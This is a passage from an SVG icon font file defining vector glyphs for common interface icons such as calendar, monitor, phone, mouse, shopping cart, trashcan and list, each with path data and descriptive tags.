	c 0.126,9.324-2.73,19.39-0.714,30.184c 2.044,10.794, 4.928,21.448, 8.638,31.99c 3.738,10.528, 8.372,20.454, 13.944,29.778
	c 5.544,9.338, 11.942,17.206, 19.138,23.604l0,24.388 l-98.21,0 L 223.776,132.252 z" data-tags="calendar, date, schedule" />
<glyph unicode="&#xe2cf;" d="M 56,272l 28,0 L 84,300 L 56,300 L 56,272 z M 392,356L 56,356 C 25.074,356,0,330.926,0,300l0-336 l 448,0 L 448,300 C 448,330.926, 422.926,356, 392,356z
	 M 420-8L 28-8 L 28,216 l 392,0 L 420-8 z M 420,244L 28,244 L 28,300 c0,15.456, 12.544,28, 28,28l 336,0 c 15.456,0, 28-12.544, 28-28L 420,244 z M 378,300L 182,300 c-7.728,0-14-6.272-14-14s 6.272-14, 14-14l 196,0 
	c 7.742,0, 14,6.272, 14,14S 385.742,300, 378,300z M 112,272l 28,0 L 140,300 L 112,300 L 112,272 z" data-tags="window" />
<glyph unicode="&#xe2d0;" d="M 420,48c0,0-115.5,0-140,0s 28-84, 28-84c0-15.456-12.544-28-28-28l-112,0 c-15.456,0-28,12.544-28,28
	c0,0, 53.368,84, 28,84S 28,48, 28,48c-15.456,0-28,12.544-28,28L0,356 c0,15.456, 12.544,28, 28,28l 392,0 c 15.456,0, 28-12.544, 28-28l0-280 C 448,60.544, 435.456,48, 420,48z
	 M 224,62c 15.456,0, 28,12.544, 28,28s-12.544,28-28,28s-28-12.544-28-28S 208.544,62, 224,62z M 420,328c0,15.456-12.544,28-28,28L 56,356 C 40.544,356, 28,343.456, 28,328l0-168 
	c0-15.456, 12.544-28, 28-28l 336,0 c 15.456,0, 28,12.544, 28,28L 420,328 z" data-tags="monitor, screen, desktop, pc" />
<glyph unicode="&#xe2d1;" d="M 308,384L 140,384 C 109.074,384, 84,358.926, 84,328l0-336 c0-30.926, 25.074-56, 56-56l 168,0 c 30.926,0, 56,25.074, 56,56L 364,328 
			C 364,358.926, 338.926,384, 308,384z M 231,342l 42,0 C 276.85,342, 280,338.864, 280,335C 280,331.136, 276.85,328, 273,328l-42,0 C 227.136,328, 224,331.136, 224,335
			C 224,338.864, 227.136,342, 231,342z M 182,356c 7.728,0, 14-6.272, 14-14s-6.272-14-14-14s-14,6.272-14,14S 174.272,356, 182,356z M 252-22c0-7.742-6.258-14-14-14l-28,0 
			c-7.728,0-14,6.258-14,14l0,28 c0,7.742, 6.272,14, 14,14l 28,0 c 7.742,0, 14-6.258, 14-14L 252-22 z M 336,62c0-7.742-6.258-14-14-14L 126,48 c-7.728,0-14,6.258-14,14L 112,286 
			c0,7.728, 6.272,14, 14,14l 196,0 c 7.742,0, 14-6.272, 14-14L 336,62 z" data-tags="mobile, phone, cellular" />
<glyph unicode="&#xe2d2;" d="M 224.532,384C 224.532,384, 84,217.106, 84,75.678C 84-65.764, 223.468-64, 223.468-64
			S 364-62.25, 364,76.546S 224.532,384, 224.532,384z M 224-8c-46.382,0-84,37.618-84,84c0,29.694, 15.596,55.482, 38.878,70.364
			C 172.2,137.446, 168,124.944, 168,111c0-2.898, 0.266-5.698, 0.602-8.456C 168.476,100.668, 168,98.904, 168,97c0-3.598, 0.588-7.042, 1.064-10.5
			C 168.406,83.098, 168,79.598, 168,76c0-30.926, 25.074-56, 56-56c 3.598,0, 7.098,0.406, 10.5,1.050C 237.972,20.574, 241.402,20, 245,20
			c 1.904,0, 3.668,0.462, 5.53,0.616C 253.288,20.266, 256.102,20, 259,20c 13.944,0, 26.446,4.2, 35.364,10.864C 279.482,7.596, 253.694-8, 224-8z
			" data-tags="droplet, color, water" />
<glyph unicode="&#xe2d3;" d="M 217,160c-30.926,0-56,25.074-56,56l-84,0 l0-140 c0-77.308, 62.678-140, 140-140
		c 77.322,0, 140,62.692, 140,140L 357,216 l-84,0 C 273,185.074, 247.926,160, 217,160z M 161,272c0,30.926, 25.074,56, 56,56s 56-25.074, 56-56l0-28 l 84,0 
		c0,77.322-62.678,140-140,140c-77.322,0-140-62.678-140-140l 84,0 L 161,272 z M 203,286l0-84 c0-7.728, 6.272-14, 14-14s 14,6.272, 14,14L 231,286 c0,7.728-6.272,14-14,14
		S 203,293.728, 203,286z" data-tags="mouse" />
<glyph unicode="&#xe2d4;" d="M 329,132c0-61.852-50.148-112-112-112s-112,50.148-112,112c0,57.19, 54.838,92.33, 112,97.314L 217,160 l 140,98
		L 357,272 l-140,112l0-70.588 C 114.142,307.364, 21,235.558, 21,132c0-108.248, 87.752-196, 196-196s 196,87.752, 196,196L 329,132 z" data-tags="refresh, reload" />
<glyph unicode="&#xe2d5;" d="M 224.182-64L 224.182,160.238 L 8.246,160.238 l0-0.182 L 0.14,160.056 L0,160.238L 448,384L 224.182-64z" data-tags="location, map, compass, direction" />
<glyph unicode="&#xe2d6;" d="M 406.182,383.174l0,0.7 l-136.444,0 c-2.408,0.308-4.858,0.224-7.126-0.728
	c-4.144-1.106-7.588-3.85-9.268-7.728L 3.906,125.994c-5.446-5.46-5.446-14.294,0-19.74l 166.208-166.208c 5.46-5.446, 14.294-5.446, 19.74,0
	l 248.71,248.724c 5.544,1.862, 9.618,6.944, 9.618,13.118l0,133 C 448.182,359.542, 429.898,379.744, 406.182,383.174z M 364.182,271.874
	c-15.456,0-28,12.544-28,28s 12.544,28, 28,28s 28-12.544, 28-28S 379.638,271.874, 364.182,271.874z" data-tags="tag, price" />
<glyph unicode="&#xe2d7;" d="M 29.764,367.368c 17.892,17.934, 71.974,20.93, 72.38,11.438
	c 0.406-9.478, 48.706-114.674, 49.126-124.166c 0.42-9.478-31.836-41.818-41.272-51.282c-9.352-9.366, 63.112-91.462, 64.484-93.016
	c 1.54-1.386, 83.44-74.018, 92.792-64.638c 9.436,9.464, 41.706,41.79, 51.142,41.37c 9.464-0.406, 114.422-48.818, 123.886-49.252
	c 9.464-0.406, 6.482-54.6-11.41-72.548c-15.302-15.33-94.528-70.994-232.288,28.406c-15.106,8.708-39.032,28.686-75.32,65.044
	c-0.014,0.014-0.042,0.042-0.070,0.056c-0.028,0.042-0.056,0.056-0.084,0.084s-0.056,0.056-0.084,0.084
	c-0.014,0.028-0.042,0.056-0.056,0.070c-36.26,36.372-56.196,60.368-64.89,75.502C-41.062,272.616, 14.476,352.038, 29.764,367.368z" data-tags="phone, contact" />
<glyph unicode="&#xe2d8;" d="M 177.954,20.49c-92.092-73.36-116.928-55.622-74.494,53.298C-14.84,67.684-24.332,96.454, 74.998,160
	c-99.33,63.56-89.838,92.302, 28.462,86.226C 61.040,355.132, 85.876,372.898, 177.954,299.51c 30.688,112.644, 61.39,112.644, 92.092,0
	c 92.078,73.388, 116.928,55.622, 74.48-53.284c 118.314,6.076, 127.792-22.666, 28.462-86.226c 99.33-63.546, 89.852-92.316-28.462-86.212
	c 42.434-108.906, 17.598-126.658-74.48-53.298C 239.358-92.168, 208.642-92.168, 177.954,20.49z" data-tags="star" />
<glyph unicode="&#xe2d9;" d="M 233.646,136.83L 308-36l-56-28l-65.044,177.492L 84,20L 84,384 l 280-224L 233.646,136.83z" data-tags="pointer, mouse" />
<glyph unicode="&#xe2da;" d="M 107.058,201.034c 1.61,7.616-8.582,14.21-19.544,14.476
		c-13.132,0.322-23.254,0.434-32.368,0.476C 47.656,216.014, 42.042,209.728, 42,202l0-210 c 0.042-7.728, 5.642-14.014, 13.188-13.986
		c 9.17,0.042, 19.502,0.154, 33.278,0.476c 11.508,0.28, 22.316,6.86, 20.468,14.476C 94.626,62.056, 94.514,131.944, 107.058,201.034z M 378,160l-126,0 l0,28 l 126,0 
		c 15.456,0, 28,12.544, 28,28s-12.544,28-28,28l-122.5,0 l 1.75,21.028L 266,335C 266,362.062, 244.076,384, 217,384C 189.938,384, 168,390.062, 168,363L 160.454,314l-0.462,0 
		l-5.978-41.874L 140,181c0-1.442, 0.21-2.576, 0.49-3.612L 140,174l-12.796-8.414C 127.204,165.586, 126,162.002, 126,160l0-154 c0-7.742, 6.272-14, 14-14
		l 1.414,0 c 6.482-31.948, 34.72-56, 68.586-56l 112,0 c 33.866,0, 62.104,24.052, 68.586,56L 280-8 c-15.456,0-28,12.544-28,28l 112,0 c 15.456,0, 28,12.544, 28,28s-12.544,28-28,28l-112,0 
		l0,28 l 126,0 c 15.456,0, 28,12.544, 28,28S 393.456,160, 378,160z" data-tags="thumbs up, like, approve" />
<glyph unicode="&#xe2db;" d="M 392.812,342.028c-9.17-0.042-19.502-0.154-33.264-0.476
		c-11.522-0.28-22.33-6.86-20.482-14.462c 14.308-69.020, 14.42-138.838, 1.876-207.858c-1.596-7.602, 8.568-14.196, 19.544-14.462
		c 13.132-0.322, 23.254-0.434, 32.368-0.476c 7.49-0.028, 13.118,6.244, 13.146,13.972L 406,328.056 C 405.944,335.784, 400.372,342.056, 392.812,342.028z
		 M 308,328.056l-1.414,0 C 300.104,359.976, 271.866,384, 238,384L 126,384 C 92.134,384, 63.896,359.976, 57.414,328.056L 168,328.056 c 15.456,0, 28-12.53, 28-27.972L 84,300.084 
		c-15.456,0-28-12.53-28-27.972S 68.544,244.14, 84,244.14l 112,0 l0-27.972 L 70,216.168 c-15.456,0-28-12.53-28-27.972s 12.544-27.972, 28-27.972l 126,0 l0-27.972 L 70,132.252 
		c-15.456,0-28-12.53-28-27.972s 12.544-27.972, 28-27.972l 122.5,0 l-1.75-20.986L 182-14.622c0-27.034, 21.938-48.944, 49-48.944
		c 27.076,0, 49-6.062, 49,20.986l 7.532,48.944l 0.462,0 l 5.992,41.832L 308,139.238c0,1.456-0.21,2.576-0.49,3.612L 308,146.238l 12.796,8.4
		c0,0, 1.204,3.598, 1.204,5.586L 322,314.070 C 322,321.798, 315.742,328.056, 308,328.056z" data-tags="thumbs down, dislike" />
<glyph unicode="&#xe2dc;" d="M 420,20c-15.456,0-28,12.544-28,28l0,28 l0,84 c0,92.778-75.222,168-168,168C 131.222,328, 56,252.778, 56,160l0-84 
	l0-28 c0-15.456-12.544-28-28-28s-28,12.544-28,28l0,28 l0,84 C0,283.718, 100.296,384, 224,384c 123.704,0, 224-100.282, 224-224l0-84 l0-28 C 448,32.544, 435.456,20, 420,20z M 98,132l 28,0 
	c 7.728,0, 14-6.258, 14-14l0-140 c0-7.742-6.272-14-14-14L 98-36 c-7.728,0-14,6.258-14,14L 84,118 C 84,125.742, 90.272,132, 98,132z M 322,132l 28,0 c 7.742,0, 14-6.258, 14-14l0-140 
	c0-7.742-6.258-14-14-14l-28,0 c-7.742,0-14,6.258-14,14L 308,118 C 308,125.742, 314.258,132, 322,132z" data-tags="headphones, music, song, sound, listen" />
<glyph unicode="&#xe2dd;" d="M 251.776,301.106l0-112.882 l 112,0 l0,56 L 448,160l-84.224-84.21l0,57.302 l-112,0 l0-112.882 l 56.434,0 L 224-64
	l-84.224,84.21l 56,0 l0,112.882 l-112,0 l0-56.868 L0,160l 83.776,83.776l0-55.552 l 112,0 L 195.776,301.106 l-54.684,0 L 224,384l 82.908-82.894L 251.776,301.106 z" data-tags="move, drag" />
<glyph unicode="&#xe2de;" d="M 443.884,284.138l-39.746,39.746c-5.502,5.502-14.364,5.502-19.866,0L 181.062,109.348
	l-116.48,116.536c-5.558,5.558-14.574,5.558-20.132,0l-40.264-40.292c-5.558-5.544-5.558-14.56,0-20.132l 165.662-169.512
	c 3.206-3.22, 7.56-4.326, 11.746-3.78c 4.326-0.644, 8.834,0.448, 12.152,3.78L 443.884,264.258C 449.372,269.746, 449.372,278.65, 443.884,284.138z" data-tags="checkmark, tick" />
<glyph unicode="&#xe2df;" d="M 430.094,289.164l-128.758-129.542l 128.758-128.772c 5.39-5.376, 5.39-14.098,0-19.488
	l-58.464-58.45c-5.362-5.39-14.084-5.39-19.474,0l-128.548,128.548l-127.778-128.548c-5.376-5.39-14.098-5.39-19.488,0l-58.45,58.45
	c-5.376,5.39-5.376,14.112,0,19.488l 127.778,128.548L 17.906,287.162c-5.376,5.376-5.376,14.098,0,19.488l 58.45,58.45
	c 5.376,5.39, 14.098,5.39, 19.488,0l 127.54-127.54l 128.786,129.542c 5.39,5.39, 14.112,5.39, 19.474,0l 58.464-58.45
	C 435.47,303.262, 435.47,294.54, 430.094,289.164z" data-tags="cancel, close, dismiss" />
<glyph unicode="&#xe2e0;" d="M 416.78,125.462C 418.768,136.69, 420,148.184, 420,160c0,108.248-87.752,196-196,196c-11.816,0-23.31-1.232-34.538-3.22
	C 169.344,372.072, 142.072,384, 112,384C 50.148,384,0,333.852,0,272c0-30.072, 11.928-57.344, 31.22-77.462C 29.232,183.31, 28,171.816, 28,160c0-108.248, 87.752-196, 196-196
	c 11.816,0, 23.31,1.218, 34.538,3.22C 278.656-52.072, 305.928-64, 336-64c 61.852,0, 112,50.148, 112,112C 448,78.072, 436.072,105.344, 416.78,125.462z
	 M 310.31,81.544c-7.756-10.556-19.18-18.928-34.006-24.836c-14.686-5.866-32.27-8.848-52.262-8.848c-24.038,0-44.184,4.074-59.906,12.082
	c-11.242,5.852-20.51,13.734-27.552,23.562c-7.112,9.856-10.71,19.642-10.71,29.106c0,5.894, 2.338,10.99, 6.972,15.19
	c 4.578,4.172, 10.458,6.244, 17.458,6.244c 5.754,0, 10.724-1.638, 14.742-4.928c 3.85-3.178, 7.154-7.826, 9.814-13.804
	c 2.968-6.552, 6.188-12.054, 9.604-16.38c 3.29-4.214, 8.008-7.728, 14.042-10.472c 6.062-2.758, 14.252-4.172, 24.304-4.172
	c 13.818,0, 25.172,2.842, 33.698,8.456c 8.33,5.474, 12.376,12.054, 12.376,20.118c0,6.356-2.114,11.368-6.454,15.274
	c-4.564,4.102-10.57,7.294-17.836,9.492c-7.616,2.268-17.948,4.774-30.716,7.322c-17.36,3.584-32.102,7.826-43.848,12.614
	c-11.998,4.928-21.672,11.746-28.742,20.244c-7.182,8.68-10.822,19.516-10.822,32.298c0,12.166, 3.822,23.142, 11.368,32.592
	c 7.476,9.408, 18.41,16.716, 32.48,21.714c 13.874,4.956, 30.394,7.448, 49.084,7.448c 14.924,0, 28.084-1.666, 39.046-4.956
	c 11.032-3.29, 20.314-7.77, 27.65-13.258c 7.336-5.544, 12.824-11.438, 16.254-17.612c 3.458-6.188, 5.236-12.39, 5.236-18.368
	c0-5.768-2.31-10.99-6.86-15.554c-4.592-4.578-10.36-6.902-17.192-6.902c-6.188,0-11.046,1.456-14.406,4.312
	c-3.136,2.674-6.384,6.832-9.982,12.81c-4.186,7.63-9.226,13.65-15.022,17.892c-5.6,4.13-15.008,6.188-27.93,6.188
	c-11.984,0-21.756-2.31-28.98-6.888c-6.986-4.396-10.374-9.45-10.374-15.442c0-3.682, 1.092-6.734, 3.346-9.366
	c 2.366-2.828, 5.726-5.25, 9.968-7.308c 4.382-2.114, 8.932-3.808, 13.468-5.012c 4.648-1.246, 12.446-3.080, 23.142-5.46
	c 13.538-2.814, 25.984-5.95, 36.988-9.338c 11.158-3.444, 20.748-7.658, 28.63-12.586c 8.008-5.012, 14.35-11.452, 18.872-19.166
	c 4.508-7.742, 6.79-17.276, 6.79-28.364C 322.014,104.252, 318.094,92.1, 310.31,81.544z" data-tags="skype, social" />
<glyph unicode="&#xe2e1;" d="M 406,243.93L 42,243.93 c-7.742,0-14-6.258-14-14l0-126 c0-7.742, 6.258-14, 14-14l 14,0 l0-140 
	c0-7.742, 6.258-14, 14-14l 308,0 c 7.742,0, 14,6.258, 14,14l0,140 l 14,0 c 7.742,0, 14,6.258, 14,14l0,126 C 420,237.672, 413.742,243.93, 406,243.93z M 196-22.070
	c0-7.742-6.258-14-14-14L 98-36.070 c-7.742,0-14,6.258-14,14l0,112 c0,7.742, 6.258,14, 14,14l 84,0 c 7.742,0, 14-6.258, 14-14L 196-22.070 z M 196,145.93c0-7.742-6.258-14-14-14
	L 70,131.93 c-7.742,0-14,6.258-14,14l0,56 c0,7.742, 6.258,14, 14,14l 112,0 c 7.742,0, 14-6.258, 14-14L 196,145.93 z M 364-22.070c0-7.742-6.258-14-14-14l-84,0 
	c-7.742,0-14,6.258-14,14l0,112 c0,7.742, 6.258,14, 14,14l 84,0 c 7.742,0, 14-6.258, 14-14L 364-22.070 z M 392,145.93c0-7.742-6.258-14-14-14l-112,0 
	c-7.742,0-14,6.258-14,14l0,56 c0,7.742, 6.258,14, 14,14l 112,0 c 7.742,0, 14-6.258, 14-14L 392,145.93 z M 161.826,243.944l 128.8,0 
	c 22.078,15.834, 42.952,36.442, 45.43,58.898c 1.204,10.962-1.148,27.020-19.25,41.314c-10.038,7.938-20.23,11.956-30.254,11.956
	c-31.948,0-50.022-39.172-59.794-74.172c-11.676,44.618-34.216,101.99-72.926,101.99c-11.298,0-22.54-4.886-33.474-14.532
	c-21.56-19.068-23.674-38.892-21.658-52.164C 103.222,287.568, 133.070,262.074, 161.826,243.944z M 286.552,322.512c 3.094,0, 7.084-1.848, 11.522-5.376
	c 7.224-5.684, 6.818-9.212, 6.706-10.374c-1.344-12.25-24.318-31.5-51.114-47.39C 261.548,293.266, 274.428,322.512, 286.552,322.512z M 140.476,343.54
	c 3.514,3.108, 8.694,6.804, 13.356,6.804c 17.332,0, 35.154-45.5, 45.542-89.74c-32.732,17.444-66.57,42.182-69.594,62.034
	C 129.374,325.382, 128.254,332.732, 140.476,343.54z" data-tags="gift" />
<glyph unicode="&#xe2e2;" d="M 431.956-8.196L 16.030-8.196 c-8.834,0-16.016-6.944-16.016-15.526l0-24.794 c0-8.582, 7.182-15.526, 16.016-15.526l 415.94,0 
		c 8.862,0, 16.030,6.944, 16.030,15.526l0,24.794 C 447.986-15.14, 440.818-8.196, 431.956-8.196zM 298.648,216.21L 149.044,216.21L 111.818,132.378L 335.888,132.378 	zM 248.402,369.006c0,0-2.94,15.036-23.226,15.036s-23.464-15.554-23.464-15.554l-40.628-124.194l 128.156,0 L 248.402,369.006zM 351.428,104.322L 98.91,104.322L 60.032,6L 390.32,6 	z" data-tags="cone, construction" />
<glyph unicode="&#xe2e3;" d="M 378,62L 70,62 l-42-42l0-14 l 14-14l 126,0 c0-30.926, 25.074-56, 56-56s 56,25.074, 56,56l 126,0 l 14,14l0,14 L 378,62z M 364,174
		c0,57.4-34.58,106.652-84,128.268L 280,328 c0,30.926-25.074,56-56,56s-56-25.074-56-56l0-25.732 C 118.58,280.652, 84,231.4, 84,174l0-98 l 280,0 L 364,174 z M 196,328c0,15.456, 12.544,28, 28,28
		s 28-12.544, 28-28L 196,328 z" data-tags="alarm, bell" />
<glyph unicode="&#xe2e4;" d="M 336,202.028l0,28 c0,7.742-6.258,14-14,14L 14,244.028 c-7.742,0-14-6.258-14-14l0-196.014 
			c0-2.52, 0.854-4.746, 2.002-6.79C 11.76-24.688, 57.26-64, 112-64l 112,0 c 35.294,0, 66.584,16.478, 87.094,42L 336-22 c 61.852,0, 112,50.162, 112,112.014
			C 448,151.88, 397.852,202.028, 336,202.028z M 336,34.014l0,112.014 c 30.926,0, 56-25.074, 56-56.014C 392,59.088, 366.926,34.014, 336,34.014z M 72.772,264.944
			c-2.086-3.78-1.848-6.902, 2.128-6.902c 3.948,0, 9.366,3.136, 10.724,6.874c 13.902,36.246-59.108,65.716-14.994,110.418
			C 75.152,379.968, 76.986,383.972, 72.982,384C 68.964,384.042, 60.718,380.22, 56.378,375.712C 13.874,332.046, 92.54,301.358, 72.772,264.944z M 125.65,264.776
			C 125.132,261.164, 127.344,258.042, 131.278,258.042c 3.906,0, 7.7,3.122, 8.092,6.706c 3.094,25.956-17.654,49.77-5.194,72.226
			c 0.196,4.060-4.578,8.092-10.766,8.638c-6.174,0.56-11.676-2.506-11.886-6.538C 110.026,309.786, 129.304,291.096, 125.65,264.776z M 187.628,258.042
			c 3.906,0, 7,3.122, 7.742,6.58c 7.098,33.544, 65.072,43.876, 21.364,103.782c-4.676,6.188-12.978,11.872-16.996,11.928
			c-4.032,0.070-4.382-5.46-1.708-11.578c 43.498-41.048, 1.736-70.504-16.758-104.132C 180.656,261.164, 183.736,258.042, 187.628,258.042z
			 M 244.006,258.042c 3.92,0, 6.552,3.15, 7.686,6.832c 10.64,35.602, 130.746,58.618, 29.75,107.618c-10.528,4.984-24.192,9.156-27.174,8.988
			c-3.038-0.21, 4.116-5.376, 13.104-11.018c 82.558-54.11, 5.628-37.786-29.666-105.7C 236.558,261.192, 240.1,258.042, 244.006,258.042z" data-tags="coffee, mug, cup, drink" />
<glyph unicode="&#xe2e5;" d="M 406,188L 42,188 c-7.742,0-14,6.258-14,14s 6.258,14, 14,14l 28,0 l 84,154c0,7.742, 6.258,14, 14,14l 28,0 
	c 7.742,0, 14-6.258, 14-14L 126,216l 196,0 L 238,370c0,7.742, 6.258,14, 14,14l 42,0 c 7.742,0, 14-6.258, 14-14l 70-154l 28,0 c 7.742,0, 14-6.258, 14-14S 413.742,188, 406,188z M 42,160
	l 364,0 c 7.742,0, 14-6.258, 14-14l-28-196c0-7.742-6.258-14-14-14L 70-64 c-7.742,0-14,6.258-14,14L 28,146C 28,153.742, 34.258,160, 42,160z M 308-8l 28,0 
	c 7.742,0, 14,6.258, 14,14l 14,84c0,7.742-6.258,14-14,14l-28,0 c-7.742,0-14-6.258-14-14l-14-84C 294-1.742, 300.258-8, 308-8z M 196,6c0-7.742, 6.258-14, 14-14
	l 28,0 c 7.742,0, 14,6.258, 14,14l0,84 c0,7.742-6.258,14-14,14l-28,0 c-7.742,0-14-6.258-14-14L 196,6 z M 98,6c0-7.742, 6.258-14, 14-14l 28,0 c 7.742,0, 14,6.258, 14,14l-14,84
	c0,7.742-6.258,14-14,14L 98,104 c-7.742,0-14-6.258-14-14L 98,6z" data-tags="basket, shopping, cart, ecommerce" />
<glyph unicode="&#xe2e6;" d="M 68.964,384l-28,0 c-7.728,0-14-6.258-14-14l0-420 c0-7.742, 6.272-14, 14-14l 28,0 c 7.728,0, 14,6.258, 14,14
			L 82.964,370 C 82.964,377.742, 76.706,384, 68.964,384z M 418.964,118L 418.964,314 c0,7.742-1.722,14-14,14c-62.258-28-280,56-280,56c-7.728,0-14-6.258-14-14l0-210 
			c0-7.742, 6.272-14, 14-14c0,0, 154-49.994, 280-42C 428.974,96.006, 418.964,110.258, 418.964,118z" data-tags="flag, report" />
<glyph unicode="&#xe2e7;" d="M 336,384L 112,384 C 96.544,384, 84,371.456, 84,356l0-392 c0-15.456, 12.544-28, 28-28l 224,0 c 15.456,0, 28,12.544, 28,28L 364,356 
		C 364,371.456, 351.456,384, 336,384z M 224-36c-46.382,0-84,37.618-84,84s 37.618,84, 84,84s 84-37.618, 84-84S 270.382-36, 224-36z M 336,174c0-7.742-6.258-14-14-14L 126,160 
		c-7.728,0-14,6.258-14,14L 112,342 c0,7.742, 6.272,14, 14,14l 196,0 c 7.742,0, 14-6.258, 14-14L 336,174 z M 224,76c-15.456,0-28-12.544-28-28s 12.544-28, 28-28s 28,12.544, 28,28
		S 239.456,76, 224,76z" data-tags="ipod, music, song" />
<glyph unicode="&#xe2e8;" d="M 294-8c 7.742,0, 14,6.258, 14,14L 308,202 c0,7.742-6.258,14-14,14s-14-6.258-14-14l0-196 C 280-1.742, 286.258-8, 294-8zM 154-8c 7.728,0, 14,6.258, 14,14L 168,202 c0,7.742-6.272,14-14,14s-14-6.258-14-14l0-196 C 140-1.742, 146.272-8, 154-8zM 406,300l-56,0 L 350,328 c0,30.926-25.074,56-56,56L 154,384 C 123.074,384, 98,358.926, 98,328l0-28 L 42,300 L0,258c0-7.742, 6.272-14, 14-14l 42,0 l0-280 c0-15.456, 12.544-28, 28-28l 280,0 
		c 15.456,0, 28,12.544, 28,28L 392,244 l 42,0 c 7.742,0, 14,6.258, 14,14L 406,300z M 140,328c0,15.456, 12.544,28, 28,28l 112,0 c 15.456,0, 28-12.544, 28-28l0-28 L 140,300 L 140,328 z M 364-22
		c0-7.742-6.258-14-14-14L 98-36 c-7.728,0-14,6.258-14,14L 84,244 l 280,0 L 364-22 zM 224-8c 7.742,0, 14,6.258, 14,14L 238,202 c0,7.742-6.258,14-14,14s-14-6.258-14-14l0-196 C 210-1.742, 216.258-8, 224-8z" data-tags="trashcan, garbage, delete, remove, bin, uninstall" />
<glyph unicode="&#xe2e9;" d="M 447.944,383.902L 65.17,145.398l 145.124,0.112L 0.056-63.902l 419.482,266.98l-144.34-0.098
	L 447.944,383.902z" data-tags="bolt, power, lightning" />
<glyph unicode="&#xe2ea;" d="M 190.134-36.098c 99.428,0, 187.194,55.104, 187.194,146.93c0,33.502-15.666,54.026-22.232,64.834c-5.474,6.482-5.474,11.886, 7.658,12.964
	c 51.338,7.56, 85.204,35.658, 85.204,89.67c0,29.176-24.038,64.26-67.732,64.26c-20.748,0-46.102-19.964-46.102-41.566
	c0-11.9, 12.236-26.096, 29.708-26.096c 19.67,0, 30.814,20.692, 27.538,29.344c-1.078,5.404-4.578,11.886, 3.052,11.886
	c 14.224,0, 30.604-18.368, 30.604-35.658c0-30.254-28.406-51.044-73.206-51.044c-24.038,0-44.786,14.826-67.732,14.826
	c-57.904,0-91.77-45.892-91.77-85.876c0-45.374, 34.958-66.976, 61.18-66.976c 29.484,0, 38.234,17.276, 38.234,31.332
	c0,16.198-9.842,27.006-30.604,27.006c-16.38,0-24.038-17.276-22.946-25.928c 1.092-4.326-2.184-7.56-5.474-7.56
	c-4.368,0-17.472,14.042-17.472,32.396c0,12.978, 8.75,55.622, 54.628,55.622c 49.154,0, 83.398-44.8, 83.398-81.536
	c0-51.856-58.282-106.974-157.696-106.974c-99.428,0-156.226,45.374-156.226,111.286c0,30.254, 13.118,58.338, 29.484,70.224
	c 6.566,4.326, 9.842,3.234, 13.118-2.156c 7.658-5.404, 25.13-19.964, 36.050-19.964c 14.21,0, 21.854,17.794, 21.854,32.942
	c0,12.964-15.288,21.868-28.392,21.868s-21.854-7.826-27.314-9.982c-7.644,11.886-12.012,27.006-12.012,38.892c0,34.566, 25.13,56.266, 49.168,56.266
	c 20.748,0, 38.234-16.282, 34.958-36.82c-1.092-5.404-1.092-9.716, 1.092-9.716c 8.736,0, 28.392,12.964, 28.392,36.736
	c0,33.488-25.116,50.778-57.904,50.778c-53.522,0-86.296-37.814-86.296-77.798c0-23.758, 8.736-45.374, 22.946-63.742
	c-21.854-9.716-64.456-46.452-64.456-111.286C 0.042,48.182, 38.276-36.098, 190.134-36.098z" data-tags="ampersand, and" />
<glyph unicode="&#xe2eb;" d="M 128.016,62.182l 137.76,56.448l 56.448,139.090l-139.076-55.146L 128.016,62.182z
			 M 224.406,187.594c 15.456,0, 28-12.544, 28-28s-12.544-28-28-28s-28,12.544-28,28S 208.95,187.594, 224.406,187.594z M 224,384C 100.282,384,0,283.718,0,160
			s 100.282-224, 224-224s 224,100.282, 224,224S 347.718,384, 224,384z M 225.568-8.294c-93.058,0-168.49,75.432-168.49,168.476S 132.51,328.672, 225.568,328.672
			c 93.044,0, 168.476-75.446, 168.476-168.504S 318.626-8.294, 225.568-8.294z" data-tags="compass, location, map" />
<glyph unicode="&#xe2ec;" d="M 98,48L 14,48 c-7.742,0-14-6.258-14-14l0-84 c0-7.742, 6.258-14, 14-14l 84,0 c 7.742,0, 14,6.258, 14,14l0,84 
			C 112,41.742, 105.742,48, 98,48z M 84-22c0-7.742-6.258-14-14-14L 42-36 c-7.742,0-14,6.258-14,14l0,28 c0,7.742, 6.258,14, 14,14l 28,0 c 7.742,0, 14-6.258, 14-14L 84-22 z
			 M 434,20L 182,20 c-7.742,0-14-6.258-14-14l0-28 c0-7.742, 6.258-14, 14-14l 252,0 c 7.742,0, 14,6.258, 14,14l0,28 C 448,13.742, 441.742,20, 434,20z M 434,188L 182,188 
			c-7.742,0-14-6.258-14-14l0-28 c0-7.742, 6.258-14, 14-14l 252,0 c 7.742,0, 14,6.258, 14,14l0,28 C 448,181.742, 441.742,188, 434,188z M 98,384L 14,384 C 6.258,384,0,377.742,0,370l0-84 
			c0-7.742, 6.258-14, 14-14l 84,0 c 7.742,0, 14,20.258, 14,28L 112,370 C 112,377.742, 105.742,384, 98,384z M 84,314c0-7.742-6.258-14-14-14L 42,300 C 34.258,300, 28,306.258, 28,314L 28,342 
			c0,7.742, 6.258,14, 14,14l 28,0 c 7.742,0, 14-6.258, 14-14L 84,314 z M 98,216L 14,216 c-7.742,0-14-6.258-14-14l0-84 c0-7.742, 6.258-14, 14-14l 84,0 c 7.742,0, 14,6.258, 14,14l0,84 
			C 112,209.742, 105.742,216, 98,216z M 84,146c0-7.742-6.258-14-14-14L 42,132 c-7.742,0-14,6.258-14,14l0,28 c0,7.742, 6.258,14, 14,14l 28,0 c 7.742,0, 14-6.258, 14-14L 84,146 z
			 M 434,356L 182,356 c-7.742,0-14-6.258-14-14l0-28 c0-7.742, 6.258-14, 14-14l 252,0 c 7.742,0, 14,6.258, 14,14L 448,342 C 448,349.742, 441.742,356, 434,356z" data-tags="list" />
<glyph unicode="&#xe2ed;" d="M 98,216L 14,216 c-7.742,0-14-6.258-14-14l0-84 c0-7.742, 6.258-14, 14-14l 84,0 c 7.742,0, 14,6.258, 14,14l0,84 
			C 112,209.742, 105.742,216, 98,216z M 84,146c0-7.742-6.258-14-14-14L 42,132 c-7.742,0-14,6.258-14,14l0,28 c0,7.742, 6.258,14, 14,14l 28,0 c 7.742,0, 14-6.258, 14-14L 84,146 z
			 M 98,384L 14,384 C 6.258,384,0,377.742,0,370l0-84 c0-7.742, 6.258-14, 14-14l 84,0 c 7.742,0, 14,20.258, 14,28L 112,370 C 112,377.742, 105.742,384, 98,384z M 84,314c0-7.742-6.258-14-14-14L 42,300 
			C 34.258,300, 28,306.258, 28,314L 28,342 c0,7.742, 6.258,14, 14,14l 28,0 c 7.742,0, 14-6.258, 14-14L 84,314 z M 98,48L 14,48 c-7.742,0-14-6.258-14-14l0-84 c0-7.742, 6.258-14, 14-14l 84,0 
